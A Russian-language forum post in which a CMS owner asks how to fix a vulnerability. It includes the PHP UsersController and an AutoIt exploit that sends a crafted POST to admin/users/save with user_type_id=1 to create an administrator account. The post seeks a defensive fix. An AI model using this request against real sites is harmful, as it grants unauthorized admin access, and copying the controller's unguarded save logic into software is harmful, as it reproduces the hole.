spdigital
Новичок
у меня есть CMS но у него есть дырка простим expolit запросом можно создать нового админа помогите решить эту проблему или дайте совет :unsure:
вот UsersController
вот сам код expolita исходник autoit
вот UsersController
PHP:
<?php
class UsersController extends plan_Controller
{
public function browseAction()
{
$this->checkLogin();
}
public function dataAction()
{
if(!$this->checkLogin(false))
{
echo Cadastre_Controller::RESULT_SESSION_EXPIRED; return;
}
$this->_dispatcher->enableView(true);
$this->_dispatcher->enableLayout(false);
}
public function formAction()
{
if(!$this->checkLogin(false))
{
echo Cadastre_Controller::RESULT_SESSION_EXPIRED; return;
}
$this->_dispatcher->enableView(true);
$this->_dispatcher->enableLayout(false);
}
public function saveAction()
{
$this->checkLogin();
$oRequest = $this->_dispatcher->getRequest();
$this->_dispatcher->enableView(false);
$result = 1;
$message = '';
$oUsers = new Users();
try {
$email = $oRequest->getParam('email');
if(!empty($email))
{
$oEmailValidator = new App_Validate_Email('users.msgInvalidEmail');
if(!$oEmailValidator->isValid($email))
throw new App_Exception_Validate($oEmailValidator->getFailureMessage());
}
$username = $oRequest->getParam('username');
$oNonEmptyValidator = new App_Validate_NonEmpty('users.msgUsernameEmpty');
if(!$oNonEmptyValidator->isValid($username))
throw new App_Exception_Validate($oNonEmptyValidator->getFailureMessage());
$user_type_id = $oRequest->getParam('user_type_id');
$oNonEmptyValidator = new App_Validate_NonEmpty('users.msgUsertypeEmpty');
if(!$oNonEmptyValidator->isValid($user_type_id))
throw new App_Exception_Validate($oNonEmptyValidator->getFailureMessage());
$status = $oRequest->getParam('hidden');
$data = array(
'hidden' => ($status == 'on') ? '1' : '0',
'username' => $username,
'user_type_id' => $user_type_id,
'password' => $oRequest->getParam('password'),
'email' => $oRequest->getParam('email')
);
$oLanguages = new Languages();
$languages = $oLanguages->getLanguagesByCodes(App_Registry::get('languages'));
$content_data = array();
foreach($languages as $lang=>$lang_id)
{
$firstname = $oRequest->getParam('firstname_'.$lang);
$lastname = $oRequest->getParam('lastname_'.$lang);
$secondname = $oRequest->getParam('secondname_'.$lang);
$content_data[] = array(
'lang_id' => $lang_id,
'firstname' => $firstname,
'lastname' => $lastname,
'secondname' => $secondname,
);
}
$user_id = $oRequest->getParam('user_id');
if(empty($user_id))
{
$oUsers->addUser($data, $content_data);
}
else
{
$oUsers->updateUser($user_id, $data, $content_data);
}
$oUsers->db_commit();
}
catch(App_Exception_NonCritical $e)
{
$oUsers->db_rollback();
$result = 0;
$message = $e->getMessage();
}
echo App_Json::encode(array('result'=>$result, 'message'=>$message));
}
public function deleteAction()
{
if(!$this->checkLogin(false))
{
echo App_Json::encode(array('result'=>Cadastre_Controller::RESULT_SESSION_EXPIRED)); return;
}
$id = $this->_dispatcher->getRequest()->getParam('id');
$oUsers = new Users();
try {
$oUsers->deleteUser($id);
$oUsers->getAdapter()->commit();
$result = 1;
$message = '';
}
catch(App_Db_Exception_RowIsReferenced $e)
{
$oUsers->getAdapter()->rollback();
$result = 0;
$message = $this->_dispatcher->getTranslator()->translate('users.msgUserCannotBeDeleted');
}
catch(App_Exception_NonCritical $e)
{
$oUsers->getAdapter()->rollback();
$result = 0;
$message = $this->_dispatcher->getTranslator()->translate($e->getMessage());
}
echo App_Json::encode(array('result'=>$result, 'message'=>$message));
}
}
PHP:
Global $sPostData = "username=" & $adduser & "&password=" &$addpass & "&email=" & $rndmail &"&user_type_id=1&firstname_en=" & $adduser & "&lastname_en=" & $adduser & "&secondname_en=" & $adduser & "&firstname_am=&lastname_am=&secondname_am=&firstname_ru=&lastname_ru=&s econdname_ru=&user_id=0&x-technology=ajax"
Global $hOpen = _WinHttpOpen("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20120122 Netscape6/6.2")
Global $hConnect = _WinHttpConnect($hOpen, $sAddress)
Global $hRequest = _WinHttpOpenRequest($hConnect, _
"POST", _
"admin/users/save", _
Default, _
Default, _
"application/json, text/javascript, */*")
_WinHttpAddRequestHeaders($hRequest, "Accept-Language: en-us,en;q=0.5")
_WinHttpAddRequestHeaders($hRequest, "Accept-Encoding: gzip, deflate")
_WinHttpAddRequestHeaders($hRequest, "DNT: 1")
_WinHttpAddRequestHeaders($hRequest, "Keep-Alive: 300")
_WinHttpAddRequestHeaders($hRequest, "Connection: keep-alive")
_WinHttpAddRequestHeaders($hRequest, "Content-Type: application/x-www-form-urlencoded; charset=UTF-8")
_WinHttpAddRequestHeaders($hRequest, "X-Requested-With: XMLHttpRequest")